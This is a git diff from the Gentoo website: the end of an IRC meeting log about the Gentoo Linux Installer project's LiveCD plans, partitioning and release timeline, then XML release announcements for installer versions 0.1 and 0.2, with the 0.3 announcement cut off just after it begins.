+18:26:52<            zhen > if it is packaged up as an ebuild, we should have no problem sticking it on the livecd
+18:27:30<            zhen > we can provide an X LiveCD, standard CLI livecd, and anything else that you need
+18:28:24<            zhen > so to sum it up, releng is flexible to do whatever the installer project requires of us
+18:29:01<            zhen > questions?
+18:29:41<         samyron > zhen: where do you want the installer to start and where would you like it to end.. meaning.. you boot off of the cd.. what "step" should it start at... and what "step" should it end at?
+18:29:44<         esammer@> ok. sounds good. so, live cd requirements are obviously an issue. the only problem i foresee is being able to run teh installer prior to unpacking hte stage.
+18:30:17<         esammer@> (the python issue, i mean)
+18:30:36<            zhen > samyron: up to you folks. depending on how we package our cds, execution time would change
+18:30:39<            zhen > s/change
+18:30:44<         samyron > k
+18:31:01<         codeman > how would you have space for X on a liveCD?
+18:31:01<            zhen > samyron: for example, the minimal cd should probably go to a prompt first because experienced users might pick that one for its small size
+18:31:19<         samyron > sounds good to me
+18:31:23<            zhen > and a universal cd would probably have it start automactically
+18:31:52<         klieber > we also need to support both guided and automatic installations from the liveCD.  We can't just assume everyone wants a guided install
+18:32:10<            zhen > klieber: yup
+18:32:20<         samyron > klieber: already thought of that
+18:32:26<         klieber > samyron: great
+18:32:29<         samyron > klieber: that's pretty much already built into the backend
+18:32:41<            zhen > codeman: we can do kde on the cd in 240 MB :)
+18:32:49<            zhen > and that is w/o our space reductions we are undertaking right now
+18:32:52<         klieber > samyron: true -- I'm just saying the front-end needs to provide a method for selecting which install to use.
+18:33:00<         samyron > ah, ok
+18:33:02<         klieber > including the universal CD
+18:33:12<         samyron > simple enough:-)
+18:33:16<         klieber > graet
+18:33:20<         klieber > great, even.
+18:34:18! hadfield [~hadfield@S0106002018892b9c.vc.shawcable.net] has quit [Remote closed the connection]
+18:34:39<            zhen > any other questions?
+18:34:48<         codeman > how far along would we have to be before converting this project to an ebuild?
+18:34:52<         esammer@> ok, so we need to figure out exactly when and how the installer should be run from teh live cds. the only other thing is that we need to figure out the requirements in terms of libraries and utilities that need to be available for the installer.
+18:35:13! hadfield [~hadfield@S0106002018892b9c.vc.shawcable.net] has joined #gentoo-installer
+18:35:17<         samyron > i propose we do it the 'slackware' way
+18:35:19<         esammer@> we don't have to figure out these things now, but at least we have a point of contact and communication open
+18:35:25<            zhen > yup :)
+18:35:28<         samyron > kick them to a prompt and in the motd, we say "Type 'setup' to run the installer."
+18:35:49<         esammer@> samyron: right. our options are open.
+18:35:50<         variant > I think just typeing "installer" at any point should launch the isntaller
+18:36:06* samyron likes that idea
+18:36:11<         samyron > cause then we can have cmd line options
+18:36:18<         variant > allso a boot prompt for "command line install" or "automated installer"
+18:36:21<       spyderous > that doesn't really work for an automated one, though. maybe it should check for existence of some kickstart-like file
+18:36:22<         codeman > setup/installer/install all should run the installer
+18:36:25<         samyron > installer --config /etc/gliconfig.xml --profile /etc/myprofile.xml
+18:36:34<         klieber > spyderous: yeah, good idea.
+18:36:38<         samyron > very good idea
+18:36:39<         samyron > then
+18:36:45<         esammer@> spyderous: we may need a special live cd for automated installs
+18:36:46<         samyron > we have to *standardize* on a filename/location
+18:37:00<         esammer@> spyderous: something that probes for files or network locations or whatever
+18:37:06<          Method > keep the entrypoint high :) can't boot right into the installer or anything like that
+18:37:07<            zhen > the installer should check for the presence of a usb key or something to grab the config from
+18:37:11<            zhen > or floppy
+18:37:32<       spyderous > the very first thing on it should ask whether you wanna load a kickstart from somewhere
+18:37:41<         klieber > (including network)
+18:37:58<         samyron > klieber: already done:-)
+18:37:58<          Method > erm
+18:38:01<         klieber > although....actually, coudln't that be part of the install?
+18:38:06<          Method > isn't that the only place you can load a kickstart from?
+18:38:10<         klieber > wait...nm
+18:38:24<         klieber > Method: no -- you can store it locally on the install media
+18:38:31<          Method > oh right
+18:38:35<          Method > at which point it shouldn't even ask
+18:38:37<          Method > it should just do it
+18:38:43<         samyron > while i was testing some stuff.. i was having it pull the profile from "https://...../config.xml"
+18:38:55<         klieber > cool
+18:39:00<         samyron > and it was working well
+18:39:05<            zhen > sweet
+18:39:13<         klieber > we could also control some of this via kernel boot params, no?
+18:39:20<         samyron > http(s)|rsync|file are all supported
+18:39:25<         samyron > klieber: good idea
+18:39:27<         klieber > red hat uses that to control init levels, fedx
+18:39:31<         klieber > fex, even...
+18:39:43<          Method > samyron: no tftp? gah, dark ages
+18:39:43<         esammer@> klieber: i was thinking the same
+18:39:53<         samyron > er, ftp too
+18:39:54<         samyron > sorry
+18:39:55<         codeman > like boot:  gentoo automatic-install?
+18:39:56<         samyron > forgot about that one
+18:40:13<         klieber > codeman: that, plus location of the file
+18:40:24<         esammer@> Method: there will be PXE / netboot at some later date which should work with tftp
+18:40:40<            zhen > esammer: has any of your team looked into the knoppix-like installation method of dumping the livecd contents to the HD?
+18:40:48<         codeman > at that point you haven't mounted any devices or network or anything.. there'd be no way to verify the file's existance.
+18:40:57<         esammer@> zhen: we haven't but that is probably a good idea
+18:41:21<            zhen > zhen: that would be a nice and easy feature to implement early 2005
+18:41:27<            zhen > er, esammer rather
+18:41:42<         esammer@> zhen: yep
+18:42:21<         esammer@> ok. is there anything else regarding releng / live cd?
+18:42:32<            zhen > not from my end
+18:42:36<         codeman > what about parted?
+18:42:48* codeman has not checked
+18:42:56<            zhen > what about it?
+18:43:12<         codeman > we use pyparted i think for partitioning stuff at the moment
+18:43:36<         esammer@> codeman: this has been discussed to some degree. parted doesn't work for all archs. it's a bit of a contraversial issue. :)
+18:44:08<         codeman > ah. ok.
+18:44:23<         esammer@> we can talk about that outside of this meeting
+18:44:43<         esammer@> codeman: but it is a valid concern
+18:44:49<         esammer@> anything else folks?
+18:44:59<         klieber > a date?
+18:45:00<         codeman > are we going to need a separate release for each arch?
+18:45:03<         klieber > for the release?
+18:45:51<         esammer@> codeman: hopefully not.
+18:45:51! cokehabit_ [George@dsl-80-43-81-29.access.uk.tiscali.com] has joined #gentoo-installer
+18:45:56<      cokehabit_ > sorry im late
+18:45:56<         esammer@> ok - release date.
+18:46:21<         esammer@> so zhen - when does 2005.0 go "gold?"
+18:46:24<            zhen > well
+18:46:28<            zhen > not sure yet, 2005 is not planned
+18:46:33<            zhen > we have some other stuff to sort out
+18:46:43<         esammer@> zhen: oh. what release were we aiming for?
+18:47:10<            zhen > esammer: anything 2005
+18:47:17<            zhen > after 2004.3 we will plan out 2005
+18:47:22<         klieber > can we just set an internal date for Dec 31st?
+18:47:25<            zhen > we might be changing up release cycles
+18:47:28<         klieber > or is that too agressive?
+18:48:00<         codeman > i'd say Dec 31st for a non-partitioning release?
+18:48:01<         esammer@> well, let's do this - let's talk about status and how far we are from our goals. that should dictate release date and what's feasible.
+18:48:13<         samyron > esammer: good idea
+18:48:39<         klieber > can we talk about the partitioning?  'cause I think that's going to affect the rest of the decision making process.
+18:49:14<           tseng@> also, does the current code exclude adding lvm, raid or whatever
+18:49:25<         esammer@> ok, but quickly as partitioning can turn into an all day discussion if we're not careful.
+18:49:25<           tseng@> at a later date.
+18:49:42<         esammer@> tseng: no. it should be possible to add support for it.
+18:49:52<           tseng@> wonderful.
+18:49:53<         klieber > esammer: specifically, I'd like to suggest that, if we can get an arch-specific installer out sooner, then we should
+18:49:59<        agaffney > was npmccallum's detect_devices.py script ever to the point where it would detect *everything*?
+18:50:21<         esammer@> agaffney: i honestly don't recall. i have the feeling that the answer is no.
+18:50:32<         klieber > i.e. if the hold-up on the partitioning stuff is non-x86 arches, then we should slip that feature to something post 1.0
+18:50:47<        agaffney > looking at the code, it appears it still only detects ide/scsi (and scsi emulating) devices
+18:51:22<         esammer@> klieber: the hold up is non-x86 archs, or more specifically, that it's difficult to handle them all in a generic way.
+18:51:41<         klieber > esammer: then I'd push for making 1.0 x86-specific
+18:51:53<         codeman > there's a lot more besides detecting the devices.  that code works pretty well afaik.
+18:52:02! seemant [~trinity@seemant.developer.gentoo] has joined #gentoo-installer
+18:52:03<         samyron > the good news is that x86 and amd64 = almost identical :-)
+18:52:06<         esammer@> so here are our choices - have an x86 specific installer OR leave out partitioning and have multiple archs
+18:52:15<         klieber > can we do both?
+18:52:24<         samyron > i'm confident that we can
+18:52:27<         klieber > if x86, do partitioning, else fail to manual?
+18:52:42! brad[] [~brad@209.161.229.122] has joined #gentoo-installer
+18:52:52<         samyron > i was thinking about, for the time being, handling partitioning in a 'hack' way
+18:52:53! cokehabit_ is now known as cokehabit
+18:52:55<         samyron > just dump them to cfdisk
+18:53:00<         samyron > cfdisk = pretty easy to use
+18:53:12<           tseng@> id love that
+18:53:18<         esammer@> cfdisk does not work on all archs either
+18:53:19<         codeman > but then you run into the issue of your automatic install all of a sudden sitting at a prompt
+18:53:28<         samyron > esammer: but it works beautifully on x86
+18:53:29<        agaffney > samyron: what about non-CLI installers?
+18:54:04<         klieber > let's not get too mired in the details. Are we comfortable with an x86-specific installer for 1.0?  (with an option of failing to manual partitioning for non-x86?)
+18:54:04<         samyron > agaffney: for the time being, i'm not worried about those as much, there is still a lot left to do on the backend side.. and i know that i don't have any time to spend writing anything not CLI.. unless you want too :-)
+18:54:10<         esammer@> klieber: the problem is after manual, how to get them back to where they left off
+18:54:31<         klieber > esammer: ok, if that's a problem, then I'd say ignore it.  x86 only, period.
+18:54:31<         samyron > esammer: easy
+18:54:36<         klieber > at least until 1.5/2.0
+18:55:00<         codeman > esammer: we have run_bash for that.
+18:55:03<         samyron > esammer: the installer has a 'spawn_bash()' function.. which will dump the user to a bash shell
+18:55:09<         codeman > s/run/spawn
+18:55:11<         samyron > when he/she types 'exit' the installer picks up where it was before
+18:55:20<         esammer@> ok. good.
+18:55:41<         klieber > so, are we OK with that model?
+18:55:57<         esammer@> so that's it - if x86, we'll partition automatically if we can, otherwise to a bash prompt they go
+18:56:04<         klieber > yay
+18:56:17<         codeman > sounds good
+18:57:17<         variant > what other architectures does parted support (if any)?
+18:57:18<         klieber > so, that brings us back to the discussion about dates
+18:57:31<         klieber > variant: I assume it supports amd64
+18:57:31<         esammer@> klieber: no. please, status first.
+18:57:35! cokehabit [George@dsl-80-43-81-29.access.uk.tiscali.com] has left #gentoo-installer ["Leaving"]
+18:57:38<         klieber > esammer: sorry, that's what I meant.
+18:58:31<         esammer@> ok. i'm going to turn this over to samyron and codeman as they've been working on the majority of the core code these days. scott - can you talk about the current status of the code and what's left / unstable?
+18:58:34! brad[] [~brad@209.161.229.122] has quit [Remote closed the connection]
+18:58:34<         codeman > well using my hacked scripts i was able to setup this laptop with only 3 breaks where i had to drop to bash to fix something.
+18:59:03<         codeman > samyron can start w/ the config/controller
+18:59:18* esammer kicks samyron's chair
+18:59:59<         samyron > ok
+19:00:08<         samyron > *clears throat*
+19:00:10! brad[] [~brad@209.161.229.122] has joined #gentoo-installer
+19:00:36<         samyron > the client configuration is what 'configs' the client controller
+19:00:51<         samyron > the client controller is going to provide all of the API to talk to the frontend (which we NEED to talk about)
+19:02:10<         codeman > the client controller basically sets up the network, and all of the stuff that doesn't actually effect the new environment
+19:02:22<         samyron > so far, the controller does the following things: sets up the ftp,http&rsync proxy, loads kernel modules, sets the root password, sets up the networking, and enables ssh(if the user wants), and downloads/cp's the install profile that the user wants
+19:02:44<         samyron > (sorry for that delay, I had to look at the src to remember everything it does :-))
+19:03:03<         samyron > i've done some pretty simple testing, and it seems to be pretty stable thus far
+19:03:24<         codeman > then the FE would execute the start function in the controller, which would call the appropriate arch-template
+19:03:56<         samyron > what's currently not done: the arch templates
+19:03:59<         codeman > and the install would always no matter what be automated from that point on (am i correct in this samyron?)
+19:04:17<         samyron > i'm still not 100% comfortable with how they're being implemented(even though it was my design)
+19:04:21<         samyron > something just doesn't feel right yet
+19:04:30<         samyron > codeman: correct
+19:04:34<         samyron > basically
+19:04:43<         samyron > once the backend starts, it's all automated
+19:04:56<         samyron > the user has no more intervention, UNLESS, the installer runs 'spawn_bash' for some reason
+19:05:11<         samyron > which might happen, due to unimplemented parts of the install, but this is to be avoided AT ALL COSTS
+19:05:52<         samyron > *thinks*
+19:05:55<         samyron > any questions?
+19:06:06<        agaffney > can the client controller part be bypassed?
+19:06:21<        agaffney > for example, if the user is installing in a chroot from within another install?
+19:06:38<         samyron > agaffney: not at the moment, but this can be added
+19:06:39<        agaffney > in that case, you wouldn't want the installer to set up networking, load kernel modules, etc.
+19:06:44<         samyron > agaffney: rather simply
+19:06:48! spyderous_ [~spyderous@spyderous.developer.gentoo] has joined #gentoo-installer
+19:06:49! spyderous [~spyderous@spyderous.developer.gentoo] has quit [Read error: 104 (Connection reset by peer)]
+19:07:00<        agaffney > samyron: just wanted to throw that out there
+19:07:08! spyderous_ is now known as spyderous
+19:07:18<         samyron > agaffney: k, good idea, esp for testing
+19:08:04<         codeman > yup
+19:08:26<         samyron > any other questions?
+19:09:00<         esammer@> samyron: so teh problem is that we need to review the arch template stuff?
+19:09:15<         samyron > yeah.. right now i'm doing something *kinda* hacked
+19:09:21<         samyron > like
+19:09:24<         codeman > samyron: anything specific you don't like?
+19:09:24<         samyron > i have a generic template class
+19:09:40<         samyron > and this provides all methods that aren't arch specific
+19:10:05<         samyron > then, each arch template will be a subclass of this class and define all arch specific methods
+19:10:08<        agaffney > something like Portage's cascaded profiles?
+19:10:08<         samyron > (like partitioning)
+19:10:21<         samyron > agaffney: i have no clue about portage's cascaded profiles :-)
+19:10:29<         samyron > now... this solutions works
+19:10:32<         samyron > and i think it'll work great
+19:10:39<         samyron > does it 'feel' right to you guys?
+19:10:42<         samyron > if so, i'll stick w/ it
+19:10:57<         codeman > hrm
+19:11:10<         esammer@> samyron: so the short answer is that it doesn't seem to be a natural design and needs to be looked at but it does work.
+19:11:12* codeman thinks about how the manual is set up
+19:11:25<        agaffney > samyron: it sounds exactly like Portage's cascaded profiles and if the Portage guys do it, it must be good!
+19:11:38<         samyron > esammer: yeah...
+19:11:45<         samyron > one thing i thought of doing
+19:11:49<         codeman > that structure would be similar to calling an arch template which would grab the generic functions and then do the arch-specific stuff on its own
+19:11:50<         samyron > was creating some sort of 'scripting language'
+19:11:56<         samyron > but i think that'd be more difficult than what it's worth
+19:12:08<           tseng@> ebuilds are scripted
+19:12:08<         esammer@> ok. let's not get into specific details now.
+19:12:11<           tseng@> its bash..
+19:12:15<         samyron > k
+19:12:58<         esammer@> samyron: given what we have and the possibility that it might be reworked, how far from a end to end installer do you feel we are?
+19:13:13<         samyron > well..
+19:13:15<         samyron > minus testing
+19:13:23<         samyron > and a notification system
+19:13:41<         samyron > we are probably about 70% done
+19:13:42<         samyron > meaning
+19:13:49<         samyron > w/ some simple scripts, we'd be able to get an install finished
+19:13:58<         codeman > the majority of the work still is the FE-BE interfacing and notification stuff.
+19:14:14<         esammer@> notifications i can handle in a very short amount of time.
+19:14:17<         samyron > k
+19:14:21<         samyron > output would also be ugly
+19:14:38<         samyron > but i'm not too worried about that
+19:14:54<         samyron > we really are close
+19:15:08<         esammer@> ok. this all sounds good.
+19:15:09<         samyron > and i'm trying my hardest to balance school & work and this installer
+19:15:15<         samyron > so i apologize if my work slows
+19:15:18<         samyron > but it shouldn't stop
+19:15:24<         klieber > would it make sense to have a public beta period, btw?
+19:15:26<         esammer@> samyron: that's understandable
+19:15:28<         klieber > before we stick this on a livecd?
+19:15:33<         esammer@> klieber: yes, i think so
+19:15:47<         codeman > so can we increase our status to mega-super-alpha?
+19:16:01<         esammer@> codeman: officially, i think so.
+19:16:22<         codeman > once we get a scripted complete install i suggest switching to a version # :)
+19:16:44<         codeman > with a bunch of 0's
+19:16:44<        agaffney > 0.0.1-mega-super-alpha :)
+19:16:50<         samyron > lol
+19:16:56<         esammer@> ok. so, the question - can we be tested and working for 2005.0?
+19:17:06* agaffney doesn't think that would be a valid Portage accepted version number...
+19:17:10<         samyron > esammer: i'm pretty confident
+19:17:16<         samyron > esammer: it's really coming down to polishing
+19:17:21<         esammer@> samyron: i am as well. codeman?
+19:17:30<         codeman > we can do it
+19:17:39* codeman is optimistic
+19:17:40<         esammer@> well, i think that says it.
+19:17:42<         samyron > esammer: it's coming down to getting stuff like 'install_cron' put in the arch template
+19:17:47<         samyron > esammer: which i'm sure you know takes about 30 seconds
+19:17:54<         esammer@> samyron: right.
+19:18:04<         codeman > grub is going to be a pain
+19:18:12<         codeman > it isn't too multi-arch friendly
+19:19:05<         esammer@> well, that's a detail we'll work out
+19:19:15<         codeman > i'm just saying it will take time
+19:19:26<         klieber > I'd suggest a staged plan of supporting arches, btw.  x86 (and maybe amd64) first, then add 1-2 more next release, 1-2 more after that, etc.
+19:19:38<         klieber > also, not being supported will probably motivate some of the arch folks to help out and get their arch supported.
+19:19:50<         esammer@> klieber: yes. that is probably a good idea.
+19:19:51<         codeman > oo, i like that
+19:20:13<         esammer@> some things are easier to handle than others. portage masks a lot of difficulty from us.
+19:20:20<         samyron > we're trying to make it as easy as possible for other arch people to help out
+19:20:20<         samyron > meaning
+19:20:32<       spyderous > we might wanna add ppc after amd64, that'd give us a decent coverage of different arch types
+19:20:37<         samyron > all they need to do is fill in a few methods in their arch template
+19:20:41<         samyron > and then it'll be done
+19:21:11<         esammer@> so, let's wrap it up on that note... unless there's any questions (that are not specific implementation details that don't pertain to everyone)
+19:21:40<         klieber > oh, documentation
+19:21:49<         klieber > that's going to be a huge part of making this installer a success
+19:21:56<         klieber > (telling people how to use it)
+19:22:02<         klieber > who's doing it?
+19:22:18<         samyron > no one yet
+19:22:19<         esammer@> a good question.
+19:22:25<         esammer@> a good answer.
+19:22:25<         samyron > we're still changing out mind a lot
+19:22:33<         samyron > and a lot of things aren't definate
+19:22:35<         klieber > samyron: is the XML stuff finalized yet?
+19:22:39<        agaffney > are you talking about API documentation or end-user docs?
+19:22:45<         klieber > agaffney: primarily end-user docs
+19:22:50<         klieber > the API stuff can come later, imo
+19:22:53<         samyron > klieber: getting close
+19:23:00<         klieber > samyron: ok, that's where we can start I suppose.
+19:23:04<         samyron > klieber: k
+19:23:19<         samyron > i guess since i know that... since i did it.. i'll write that documentation
+19:23:25<         klieber > heh
+19:23:33<         samyron > :-)
+19:23:59<         esammer@> so, we'll sucker someone to work on end user docs as things solidify
+19:24:20<         codeman > there were many volunteers we asked to show up to the meeting
+19:24:21<         klieber > I don't want this to end up like webapp-config
+19:24:33<         klieber > i.e. great product, but nobody knows how to use it.
+19:24:47<           tseng@> klieber, the man page isnt that bad
+19:24:54<           tseng@> i figured it out np
+19:25:07<         klieber > tseng: the man page didn't exist last I checked, so at least that's an improvement
+19:25:12* agaffney is scared of webapp-config
+19:25:20<           tseng@> sorry for OT
+19:25:22<         esammer@> ok. on topic or we're done.
+19:25:29* klieber slaps himself
+19:25:31<         esammer@> heh ;)
+19:25:38* agaffney sidesteps
+19:25:50<         samyron > i'll bbiab.. got to do a few things around here
+19:25:54<         klieber > so we're shooting for EOY?
+19:26:00<         samyron > klieber: yessir
+19:26:02<         esammer@> klieber: yep
+19:26:08<           tseng@> exciting.
+19:26:09<         klieber > or do we want to shoot for a public beta by the end of november?
+19:26:31! samyron is now known as samyron|gone
+19:26:54<       spyderous > i've gotta run, unfortunately. enjoy the rest of the meeting.
+19:27:07<         esammer@> spyderous: thanks for coming
+19:27:17<       spyderous > it was my pleasure.
+19:27:25! spyderous [~spyderous@spyderous.developer.gentoo] has quit ["Client exiting"]
+19:27:59<         esammer@> klieber: a public beta would be cool, yea.
+19:28:10<         klieber > can we do that by end of november?
+19:28:10<         esammer@> we'll have to play it by ear, i think.
+19:28:16<         klieber > that's ~3 months
+19:28:23<         esammer@> klieber: i think it's possible, yes.
+19:28:30<         klieber > cool deal neal
+19:29:35<         esammer@> ok folks. thanks for coming. if someone can send a log to the list, i'd appreciate it.
diff --git a/xml/htdocs/proj/en/releng/installer/release-0.1.xml b/xml/htdocs/proj/en/releng/installer/release-0.1.xml
new file mode 100644
index 00000000..e39d51d7
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/release-0.1.xml
@@ -0,0 +1,168 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/releng/installer/release-0.1.xml">
+<title>Gentoo Linux Installer 0.1 Release Announcement</title>
+
+<author title="Author">
+  <mail link="agaffney@gentoo.org">Andrew Gaffney</mail>
+</author>
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
+<abstract>
+Information regarding the 0.1 release of the Gentoo Linux Installer.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>08 Aug 2005</date>
+
+<chapter>
+<title>Version 0.1 (a.k.a. "the alpha")</title>
+<section>
+<body>
+
+<p>
+We are happy to announce GLI 0.1 (a.k.a. "the alpha") along with a <e>real</e>
+LiveCD (usable X environment with goodies) as opposed to the normal minimal or
+universal "LiveCD".  It is currently available from the
+<uri link="/main/en/mirrors.xml">mirrors</uri> under <path>/experimental</path>.
+</p>
+
+<p>
+The LiveCD contains most of the standard GRP set as usable packages.  This
+includes (but isn't limited to):
+</p>
+
+<ul>
+  <li>GNOME</li>
+  <li>Firefox</li>
+  <li>Thunderbird</li>
+  <li>OpenOffice.org (Ximian goodness)</li>
+  <li>sylpheed</li>
+  <li>xmms</li>
+  <li>gaim</li>
+  <li>xchat</li>
+  <li>mplayer</li>
+</ul>
+
+<p>
+Obviously, the installer will also be included.  In GNOME, there is even a handy
+desktop launcher for the GTK frontend!  We have strived to allow you to do
+anything with the installer that you could do if installing with the current
+method.  Keep in mind that this is only a first release, and there is a lot of
+room for improvement.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Known Limitations &amp; New Features</title>
+<section>
+<body>
+
+<p>
+Here are some known limitations:
+</p>
+
+<ul>
+  <li>No <path>/etc/portage</path> customization support in the frontends.</li>
+  <li>No way to modify runlevels for services in the frontends.</li>
+  <li>Only supports x86 and probably amd64 (other arches are in the works).</li>
+  <li>
+    The GTK frontend's <path>make.conf</path> screen only offers a few options.
+  </li>
+  <li>
+    No way to custom configure a kernel without a premade <path>.config</path>.
+  </li>
+  <li>No lvm or software raid support.</li>
+</ul>
+
+<p>
+Of course, to offset these bad things, we have a few features that are available
+with the installer that were not available previously:
+</p>
+
+<ul>
+  <li>
+    <e>livecd-kernel</e> - the installer will install the kernel from the LiveCD
+    into the new install so that you don't have to wait for genkernel to do its
+    thing.  It is installed as a package with emerge so that certain
+    dependencies are satisfied (virtual/alsa for example).
+  </li>
+  <li>
+    <e>GRP w/o an extra CD</e> - the installer will <c>quickpkg</c> and
+    <c>emerge -K</c> packages from the LiveCD instead of using prebuilt binary
+    packages.  This obsoletes the GRP CD, which will probably disappear in the
+    next release.
+  </li>
+  <li>
+    <e>dynamic stage3</e> - the installer can build a stage3 equivalent in the
+    chroot directory from the packages on the CD.  This will be useful down the
+    road for networkless installs.  Currently, there is no snapshot on the
+    LiveCD for space reasons, but play with it anyway.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Dialog Frontend</title>
+<section>
+<body>
+
+<p>
+Along with the GTK frontend, there is also a dialog-based frontend.  This is
+useful for doing remote installs via SSH.  <c>gli-dialog</c> also supports some
+things that the GTK frontend doesn't and vice versa.  If not using gnome, the
+installer can be started by running '<c>installer</c>' from a terminal.  This
+will try to launch the GTK frontend first with the '<c>installer-gtk</c>'
+script.  If this fails, it will fall back to the dialog installer with the
+'<c>installer-dialog</c>' script.  If you wish to use the dialog frontend, you
+can run '<c>installer-dialog</c>' directly.
+</p>
+
+<p>
+Other features of the dialog frontend include "standard" and "advanced"
+installation modes, where in the "standard" mode the default input for common
+steps will be automatically given.  The dialog frontend also includes a detailed
+explanation of all steps for those not as experienced with installing Gentoo.
+It also supports custom kernel uri's and will load a list of mirrors for the
+stage tarball selection.  Internationalization support is almost complete for
+this frontend.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Reporting Bugs</title>
+<section>
+<body>
+
+<p>
+Now, for the <e>most</e> important part...reporting
+<uri link="http://bugs.gentoo.org/">bugs</uri>.  Gentoo's bugzilla has a special
+sub-section for the installer.  When you click the link to enter a new bug
+report, select "Gentoo Linux" and then "GLI" from the "Component" list.  Please
+search for the bug you're reporting <e>before</e> creating a new bug.  We would
+much rather see "me too" comments, or even the much more silent act of adding
+yourself to the bug's CC, than having to deal with tons of duplicate bugs.  When
+you do encounter an error in the installer, try to grab
+<path>/tmp/installprofile.xml</path> and <path>/var/log/install.log</path> from
+the LiveCD environment.  We may request them when you file a bug.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/installer/release-0.2.xml b/xml/htdocs/proj/en/releng/installer/release-0.2.xml
new file mode 100644
index 00000000..2c08a24f
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/release-0.2.xml
@@ -0,0 +1,183 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/releng/installer/release-0.2.xml">
+<title>Gentoo Linux Installer 0.2 Release Announcement</title>
+
+<author title="Author">
+  <mail link="agaffney@gentoo.org">Andrew Gaffney</mail>
+</author>
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
+<abstract>
+Information regarding the 0.2 release of the Gentoo Linux Installer.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>21 Nov 2005</date>
+
+<chapter>
+<title>Version 0.2</title>
+<section>
+<body>
+
+<p>
+The installer team is proud to announce the release of version 0.2 of the Gentoo
+Linux Installer.  There have been many improvements over the 0.1 ("alpha")
+release including many new features and many annoying bugs squished.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Improvements</title>
+<section>
+<title>New features</title>
+<body>
+
+<ul>
+  <li>Sub-progress bar (shows the progress of the individual install step).</li>
+  <li>
+    Tarball extraction progress (shows how far along it is extracting a
+    tarball).
+  </li>
+  <li>
+    New code for dynamic-stage3 that cuts the time in half along with not
+    cluttering up your new install with binary packages.
+  </li>
+  <li>Optional verbose logging for debug purposes.</li>
+  <li>
+    Notification of which packages are available in GRP form (gli-dialog only).
+  </li>
+  <li>
+    More graceful failure cleanup (now unmounts mounted partitions) (gtkfe
+    only).
+  </li>
+  <li>
+    Pre-configured xorg.conf is now copied to the new system when xorg-x11 is
+    installed.
+  </li>
+  <li>
+    If selecting a graphical desktop xdm is set to boot automatically in
+    standard mode (prompt in advanced) (gli-dialog only).
+  </li>
+  <li>
+    Automatic snapshot/make.conf screens for dynamic stage3 installs (this is
+    necessary to prevent b0rkage).
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Bugs fixed since 0.1</title>
+<body>
+
+<ul>
+  <li>NTFS/FAT32 code problem that left you with an empty partition table.</li>
+  <li>Attempting to mount unallocated space.</li>
+  <li>Various bootloader bugs.</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Issues not resolved in 0.2 but fixed in CVS</title>
+<body>
+
+<ul>
+  <li>
+    Mounting windows partitions can cause filesystem format issues (fat16/32
+    instead of vfat).
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Issues not yet resolved</title>
+<section>
+<body>
+
+<ul>
+  <li>gli-dialog error cleanup (should be an option).</li>
+  <li>
+    Bootloader customizability.  Currently the boot device is determined by
+    <path>/boot</path> (or <path>/</path> if no <path>/boot</path>) and the MBR
+    of that device is written to instead of whatever device boots first.  This
+    is currently being fixed.
+  </li>
+  <li>
+    Internationalization support in gli-dialog is still only at "ready to go"
+    status.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New LiveCD</title>
+<section>
+<body>
+
+<p>
+Along with the new version of the installer, there is also a new LiveCD (extra
+thanks to wolf31o2 for that).  Some of the changes include:
+</p>
+
+<ul>
+  <li>Gimp and bittorrent have been added.</li>
+  <li>Fixes to allow Gnome to install properly via GRP.</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Coming soon to a LiveCD near you! (i.e. what to expect from 0.3)</title>
+<section>
+<body>
+
+<ul>
+  <li>
+    Dynamic/virtual hard-drives!  You can define partitions with percentages.
+  </li>
+  <li>
+    A brand new FE!  Webgli, a web-browser-based FE, combines aspects from the
+    previous two FEs into a new and simple interface for creating install
+    profiles.
+  </li>
+  <li>
+    Mastergli (TEMPORARY NAME), a mass-installation utility, which will be
+    combined with webgli to help create profiles.  This finally addresses the
+    second half of the Gentoo Installer's project goals.  It will allow users to
+    PXE boot client machines that will be detected by the mastergli server
+    (these can also be defined manually) and specify which install profile to
+    use for that machine.  This lets you create template machines such as
+    "image-server" or "mail-server" or "normal-workstation" for example and pick
+    and choose boxes and profiles.  It then will spawn off the selected installs
+    and provide status updates via the same web interface.  The mastergli
+    settings will of course be able to be saved/loaded with a master profile XML
+    file.  Since this interface will work remotely (if allowed) and in links2,
+    it is not likely that there will be a command-line version of mastergli
+    anytime soon.  Mastergli utilizes SecureXMLRPC code from samyron as well as
+    backend code from chotchki and of course agaffney.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/installer/release-0.3.xml b/xml/htdocs/proj/en/releng/installer/release-0.3.xml
new file mode 100644
index 00000000..075c35e4
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/release-0.3.xml
@@ -0,0 +1,181 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/releng/installer/release-0.3.xml">
+<title>Gentoo Linux Installer 0.3 Release Announcement</title>
+
+<author title="Author">
+  <mail link="agaffney@gentoo.org">Andrew Gaffney</mail>
+</author>
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
